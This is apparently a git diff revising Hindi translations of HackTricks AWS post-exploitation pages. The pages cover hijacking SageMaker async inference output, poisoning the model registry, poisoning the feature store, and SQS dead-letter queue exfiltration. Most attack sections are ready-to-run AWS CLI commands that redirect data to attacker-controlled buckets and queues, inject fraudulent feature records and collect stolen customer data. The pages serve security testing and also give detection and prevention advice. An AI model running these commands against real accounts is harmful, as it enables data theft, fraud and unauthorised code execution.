describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सकता है) +2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सके) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) EndpointConfig को क्लोन करें और AsyncInference outputs को attacker bucket में hijack करें +3) EndpointConfig को Clone करें और AsyncInference के outputs को attacker bucket में hijack करें ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) एक async invocation ट्रिगर करें और सत्यापित करें कि ऑब्जेक्ट्स attacker S3 में पहुँचते हैं। +4) async invocation ट्रिगर करें और सत्यापित करें कि objects attacker S3 में पहुँच रहे हैं ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### प्रभाव -- असिंक्रोनस inference परिणामों (और error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और संभवतः container द्वारा उत्पन्न sensitive pre/post-processed inputs को बिना model code या image बदले और कम/कोई डाउनटाइम के साथ covert तरीके से बाहर निकाला जा सकता है। +- asynchronous inference results (and error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और container द्वारा उत्पन्न संभावित संवेदनशील pre/post-processed inputs का covert exfiltration संभव होता है, बिना model code या image बदले और minimal/no downtime के साथ। ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) -यदि कोई हमलावर target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version रजिस्टर कर सकते हैं जो हमलावर के नियंत्रण वाले container image की ओर इशारा करता है और तुरंत उसे Approved मार्क कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy करती हैं, जिसके परिणामस्वरूप service के execution roles के अंतर्गत हमलावर का code execution होता है। permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकती है। +यदि attacker किसी target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version register कर सकते हैं जो attacker-controlled container image की ओर इशारा करता है और उसे तुरंत Approved के रूप में mark कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy कर देती हैं, जिससे service के execution roles के तहत attacker code execution हो सकता है। एक permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकता है। ### आवश्यकताएँ -- IAM (लक्षित मौजूदा समूह को poison करने के लिए न्यूनतम): `sagemaker:CreateModelPackage` लक्ष्य ModelPackageGroup पर -- वैकल्पिक (यदि कोई समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup` -- S3: referenced ModelDataUrl के लिए Read access (या हमलावर-नियंत्रित artifacts होस्ट करें) -- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए मॉनिटर/देखती है +- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` target ModelPackageGroup पर +- Optional (यदि समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup` +- S3: referenced ModelDataUrl के लिए Read access (या attacker-controlled artifacts होस्ट करें) +- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए watch करती है -### कदम -1) region सेट करें और एक लक्षित Model Package Group बनाएं/खोजें +### स्टेप्स +1) region सेट करें और एक target Model Package Group बनाएं/ढूंढें ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" ``` -2) S3 में डमी मॉडल डेटा तैयार करें +2) S3 में नकली मॉडल डेटा तैयार करें ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-mpkg-$ACC-$(date +%s) @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) किसी सार्वजनिक AWS DLC image को संदर्भित करते हुए एक malicious (here benign) Approved model package version पंजीकृत करें +3) सार्वजनिक AWS DLC image को संदर्भित करते हुए एक दुर्भावनापूर्ण (यहाँ हानिरहित) Approved model package version रजिस्टर करें ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) नए स्वीकृत संस्करण के अस्तित्व की पुष्टि करें +4) नए Approved संस्करण के मौजूद होने की पुष्टि करें ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### प्रभाव -- Model Registry को उस Approved version से poison करें जो attacker-controlled code को reference करता है। Auto-deploy करने वाली Pipelines Approved models को pull और run कर सकती हैं, जिससे attacker image के चलते endpoint/training roles के अंतर्गत code execution हो सकता है। -- एक permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy) के साथ, यह दुरुपयोग cross-account ट्रिगर किया जा सकता है। +- Model Registry को ऐसे Approved version से poison करें जो attacker-controlled code को reference करता हो। जो Pipelines auto-deploy Approved models हैं वे attacker image को pull और run कर सकती हैं, जिससे endpoint/training roles के अंतर्गत code execution हो सकता है। +- यदि ModelPackageGroup resource policy (PutModelPackageGroupPolicy) permissive हो, तो यह abuse cross-account trigger किया जा सकता है। ## Feature store poisoning -Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करें (जब OnlineStore enabled हो) ताकि online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सके। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features को पढ़ सकता है। इसके लिए models या endpoints तक पहुंच की आवश्यकता नहीं होती। +`सagemaker:PutRecord` का दुरुपयोग करके ऐसे Feature Group (जिसमें OnlineStore enabled है) पर online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सकता है। `sagemaker:GetRecord` के साथ मिलकर, an attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints की access की आवश्यकता नहीं होती। {{#ref}} feature-store-poisoning.md {{/ref}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index fceb54425..3d30f5480 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,17 +1,19 @@ # SageMaker Feature Store online store poisoning -OnlineStore सक्षम किसी Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव फीचर मानों को overwrite करें जिन्हें online inference द्वारा उपयोग किया जाता है। `sagemaker:GetRecord` के साथ मिलाकर, एक attacker संवेदनशील फीचर्स पढ़ सकता है और confidential ML डेटा को exfiltrate कर सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं होती, इसलिए यह एक प्रत्यक्ष data-layer attack बन जाता है। +{{#include ../../../../banners/hacktricks-training.md}} + +`OnlineStore` सक्षम Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव feature मानों को ओवरराइट किया जा सकता है जिन्हें online inference उपयोग करता है। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints तक पहुँच की आवश्यकता नहीं होती। ## आवश्यकताएँ - अनुमतियाँ: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- लक्ष्य: OnlineStore सक्षम Feature Group (आमतौर पर real-time inference को बैक करता है) -- जटिलता: **LOW** - सरल AWS CLI commands, किसी मॉडल में कोई छेड़छाड़ आवश्यक नहीं +- लक्ष्य: OnlineStore सक्षम Feature Group (आम तौर पर backing real-time inference) +- जटिलता: **LOW** - सरल AWS CLI कमांड, model में किसी प्रकार का परिवर्तन आवश्यक नहीं ## चरण ### Reconnaissance -1) OnlineStore सक्षम Feature Groups को सूचीबद्ध करें +1) OnlineStore सक्षम Feature Groups सूचीबद्ध करें ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) लक्षित Feature Group का वर्णन करें ताकि उसके schema को समझा जा सके +2) लक्षित Feature Group का विवरण दें ताकि उसका schema समझा जा सके ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -नोट: `RecordIdentifierFeatureName`, `EventTimeFeatureName`, और सभी फीचर परिभाषाओं को ध्यान में रखें। वैध रिकॉर्ड बनाने के लिए ये आवश्यक हैं। +ध्यान दें कि `RecordIdentifierFeatureName`, `EventTimeFeatureName` और सभी फ़ीचर परिभाषाएँ वैध रिकॉर्ड तैयार करने के लिए आवश्यक हैं। -### Attack Scenario 1: Data Poisoning (Overwrite Existing Records) +### हमला परिदृश्य 1: Data Poisoning (Overwrite Existing Records) -1) मौजूदा वैध रिकॉर्ड पढ़ें +1) वर्तमान वैध रिकॉर्ड पढ़ें ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को दुर्भावनापूर्ण मानों से संक्रमित करें +2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को हानिकारक मानों से Poison करें ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) प्रदूषित डेटा सत्यापित करें +3) poisoned data की जाँच करें ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**प्रभाव**: इस feature का उपयोग करने वाले ML मॉडल अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जिससे उनके लेनदेन या सेवाएँ संभावित रूप से अवरुद्ध हो सकती हैं। +**प्रभाव**: इस फ़ीचर का उपयोग करने वाले ML models अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जो संभावित रूप से उनके लेनदेन या सेवाओं को ब्लॉक कर सकता है। ### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) -Inject हेरफार किए गए फीचर्स के साथ पूरी तरह से नए रिकॉर्ड्स डालें ताकि सुरक्षा नियंत्रणों से बचा जा सके: +सुरक्षा नियंत्रणों से बचने के लिए हेराफेरी किए गए फ़ीचर्स के साथ बिल्कुल नए रिकॉर्ड इंजेक्ट करें: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**प्रभाव**: Attacker एक नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो high-value fraudulent transactions कर सकता है बिना fraud detection को ट्रिगर किए। +**प्रभाव**: Attacker नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो fraud detection को ट्रिगर किए बिना high-value fraudulent transactions कर सकता है। -### Attack Scenario 3: Sensitive Data Exfiltration +### हमला परिदृश्य 3: Sensitive Data Exfiltration -कई रिकॉर्ड पढ़कर गोपनीय फीचर निकालें और मॉडल के व्यवहार का प्रोफाइल बनाएं: +कई रिकॉर्ड पढ़ें ताकि गोपनीय विशेषताएँ निकाली जा सकें और मॉडल के व्यवहार की प्रोफ़ाइल बनाई जा सके: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Impact**: संवेदनशील फीचर (risk scores, transaction patterns, personal data) attacker को उजागर। +**Impact**: संवेदनशील फ़ीचर्स (जोखिम स्कोर, लेन-देन पैटर्न, व्यक्तिगत डेटा) हमलावर के लिए उजागर हो जाते हैं। -### परीक्षण/डेमो Feature Group निर्माण (वैकल्पिक) +### Testing/Demo Feature Group Creation (Optional) -यदि आपको एक परीक्षण Feature Group बनाना हो: +यदि आपको एक परीक्षण Feature Group बनाने की आवश्यकता है: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) @@ -141,20 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## पहचान - -CloudTrail पर संदिग्ध पैटर्न की निगरानी करें: -- असामान्य IAM principals या IP addresses से आने वाले `PutRecord` ईवेंट्स -- उच्च आवृत्ति वाले `PutRecord` या `GetRecord` कॉल्स -- असामान्य feature मानों के साथ `PutRecord` (उदा., `risk_score` सामान्य रेंज के बाहर) -- बड़े पैमाने पर `GetRecord` ऑपरेशन्स जो mass exfiltration का संकेत देते हैं -- सामान्य business hours के बाहर या अनपेक्षित स्थानों से एक्सेस - -अनियमितता की पहचान लागू करें: -- Feature मान सत्यापन (उदा., `risk_score` 0.0-1.0 होना चाहिए) -- Write पैटर्न विश्लेषण (आवृत्ति, समय, स्रोत पहचान) -- Data drift detection (feature वितरणों में अचानक परिवर्तन) - ## संदर्भ - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index 3c3dba40b..9bf4b78c4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,53 +1,55 @@ # AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask +{{#include ../../../banners/hacktricks-training.md}} + ## विवरण -SQS message move tasks का दुरुपयोग करके पीड़ित के Dead-Letter Queue (DLQ) में जमा किए गए सभी संदेशों को `sqs:StartMessageMoveTask` का उपयोग करके हमलावर-नियंत्रित queue पर रीडायरेक्ट करके चुराना। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करती है। +SQS message move tasks का दुरुपयोग करके victim के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को चुराएँ और उन्हें attacker-controlled queue पर redirect करें, इसके लिए `sqs:StartMessageMoveTask` का उपयोग करें। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करने के लिए प्रयोग की जाती है। ## Dead-Letter Queue (DLQ) क्या है? -Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वचालित रूप से भेजे जाते हैं जब उन्हें मुख्य application द्वारा सफलतापूर्वक प्रोसेस नहीं किया जा सकता। ये विफल संदेश अक्सर निम्नलिखित रखते हैं: -- संवेदनशील application डेटा जिसे प्रोसेस नहीं किया जा सका -- त्रुटि विवरण और डिबग जानकारी -- व्यक्तिगत पहचान योग्य जानकारी (PII) +Dead-Letter Queue एक विशेष SQS queue है जहाँ वे संदेश भेजे जाते हैं जो मुख्य एप्लिकेशन द्वारा सफलतापूर्वक प्रोसेस नहीं हो पाते। ये failed संदेश अक्सर निम्न चीज़ें रख सकते हैं: +- प्रोसेस न हो पाने वाला संवेदनशील application डेटा +- त्रुटि विवरण और debugging जानकारी +- Personal Identifiable Information (PII) - API tokens, credentials, या अन्य secrets -- व्यापार-सम्बंधी महत्वपूर्ण transaction डेटा +- Business-critical transaction डेटा -DLQs उन विफल संदेशों का "कब्रिस्तान" जैसा काम करते हैं, इसलिए ये कीमती लक्ष्य होते हैं क्योंकि इनमें समय के साथ ऐसा संवेदनशील डेटा जमा हो जाता है जिसे applications सही तरीके से हैंडल नहीं कर पाए। +DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, इसलिए ये मूल्यवान लक्ष्य होते हैं क्योंकि इनमें समय के साथ उन संवेदनशील डेटा का संचय होता है जिन्हें ऐप्लिकेशन्स सही से हैंडल नहीं कर पाए। ## हमला परिदृश्य -**वास्तविक उदाहरण:** -1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करती है -2. **कुछ आदेश विफल होते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं -3. **DLQ में जमा होता है** हफ्तों/महीनों का विफल ऑर्डर डेटा जिसमें ग्राहक जानकारी होती है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Attacker AWS credentials** हासिल कर लेता है जिनमें SQS permissions होते हैं -5. **Attacker पता लगाता है** कि DLQ में हजारों विफल ऑर्डर्स हैं जिनमें संवेदनशील डेटा है -6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को एक साथ अपनी queue में bulk transfer कर देता है +वास्तविक उदाहरण: +1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करता है +2. **कुछ ऑर्डर विफल हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं +3. **DLQ में हफ्तों/महीनों के विफल ऑर्डर जमा हो जाते हैं** जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Attacker को AWS credentials मिल जाते हैं** जिनमें SQS permissions हैं +5. **Attacker पाता है** कि DLQ में संवेदनशील डेटा वाले हजारों failed orders हैं +6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की कोशिश करने के बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को bulk में अपनी queue पर स्थानांतरित कर देता है 7. **Attacker एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है ## आवश्यकताएँ -- स्रोत queue को किसी न किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए। -- IAM permissions (समझौता किए गए victim principal के रूप में चलाते हुए): +- स्रोत queue को किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए। +- IAM permissions (compromised victim principal के रूप में चलाते समय): - DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- destination queue पर: संदेश डिलीवर करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देती हो)। same-account destinations के लिए यह सामान्यतः डिफ़ॉल्ट रूप से allowed होता है। -- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`. +- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` को allow करती हो)। उसी account के destination के लिए यह सामान्यतः default में allowed होता है। +- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`। ## प्रभाव -DLQs में जमा संवेदनशील payloads (विफल events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है। +DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है। -## दुरुपयोग कैसे करें +## दुरुपयोग करने का तरीका -- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि इसे वास्तव में किसी queue द्वारा DLQ के रूप में संदर्भित किया गया है (कोई भी queue चलेगा)। -- एक attacker-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें। -- पीड़ित DLQ से आपकी destination queue पर message move task शुरू करें। -- प्रगति की निगरानी करें या आवश्यक होने पर task को रद्द करें। +- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में refer किया गया हो (कोई भी queue चलेगा)। +- एक attacker-controlled destination queue बनाएं या चुनें और उसका ARN प्राप्त करें। +- victim DLQ से आपकी destination queue तक एक message move task शुरू करें। +- प्रगति की निगरानी करें या आवश्यकता होने पर रद्द करें। -### CLI उदाहरण: E-commerce DLQ से Customer Data का Exfiltration +### CLI उदाहरण: E-commerce DLQ से ग्राहक डेटा निकालना -**परिदृश्य**: एक attacker ने AWS credentials compromise कर ली हैं और पता लगा लिया है कि एक e-commerce application SQS का उपयोग कर रही है और उसकी DLQ में ग्राहक ऑर्डर प्रोसेसिंग के विफल प्रयास जमा हैं। +**परिदृश्य**: एक attacker ने AWS credentials compromise कर लिए हैं और पता चला है कि एक ई-कॉमर्स एप्लिकेशन SQS और एक DLQ का उपयोग करता है जिसमें ग्राहक के order processing के विफल प्रयास जमा हैं। -1) **Discover and examine the victim DLQ** +1) **Victim DLQ की खोज और निरीक्षण करें** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **बनाएँ attacker-controlled destination queue** +2) **attacker-controlled गंतव्य queue बनाएँ** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at echo "Created exfiltration queue: $ATTACKER_Q_ARN" ``` -3) **बड़े पैमाने पर संदेश चोरी को निष्पादित करें** +3) **थोक संदेश चोरी को निष्पादित करें** ```bash # Start moving ALL messages from victim DLQ to our queue # This operation will transfer thousands of failed orders containing customer data @@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json done ``` ### क्रॉस-एकाउंट नोट्स -- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions). +- गंतव्य queue में ऐसी resource policy होनी चाहिए जो victim principal को `sqs:SendMessage` की अनुमति दे (और, यदि लागू हो, KMS grants/permissions)। -## यह Attack क्यों प्रभावी है +## यह हमला प्रभावी क्यों है -1. **Legitimate AWS Feature**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जो इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन बनाती है -2. **Bulk Operation**: धीमे व्यक्तिगत एक्सेस के बजाय हजारों messages जल्दी ट्रांसफर करता है -3. **Historical Data**: DLQs सप्ताहों/महीनों में संवेदनशील डेटा जमा कर लेते हैं -4. **Under the Radar**: कई संगठन DLQ access की निगरानी बारीकी से नहीं करते हैं -5. **Cross-Account Capable**: यदि permissions अनुमति दें तो attacker अपने ही AWS account में exfiltrate कर सकता है +1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन हो जाता है +2. **Bulk Operation**: धीमी व्यक्तिगत पहुंच की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है +3. **Historical Data**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा करते हैं +4. **Under the Radar**: कई संगठन DLQ एक्सेस की करीबी निगरानी नहीं करते +5. **Cross-Account Capable**: यदि permissions अनुमति दें तो हमलावर अपने ही AWS अकाउंट में exfiltrate कर सकता है -## Detection and Prevention +## पहचान और रोकथाम -### Detection -संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें: +### पहचान +संदिग्ध `StartMessageMoveTask` API कॉल के लिए CloudTrail की निगरानी करें: ```json { "eventName": "StartMessageMoveTask", @@ -143,8 +145,10 @@ done } ``` ### रोकथाम -1. **न्यूनतम विशेषाधिकार**: `sqs:StartMessageMoveTask` अनुमतियों को केवल आवश्यक भूमिकाओं तक सीमित करें -2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें -3. **क्रॉस-एकाउंट नीतियाँ**: cross-account access की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें -4. **DLQs को एन्क्रिप्ट करें**: सीमित key नीतियों के साथ SSE-KMS का उपयोग करें -5. **नियमित क्लीनअप**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें +1. **न्यूनतम अधिकार**: केवल आवश्यक भूमिकाओं के लिए `sqs:StartMessageMoveTask` अनुमतियाँ सीमित करें +2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें +3. **क्रॉस-एकाउंट नीतियाँ**: खाता-पार पहुँच की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें +4. **DLQs को एन्क्रिप्ट करें**: SSE-KMS का उपयोग करें और सीमित कुंजी नीतियाँ लागू करें +5. **नियमित सफाई**: DLQs में संवेदनशील डेटा को अनिश्चितकाल तक जमा न होने दें + +{{#include ../../../banners/hacktricks-training.md}}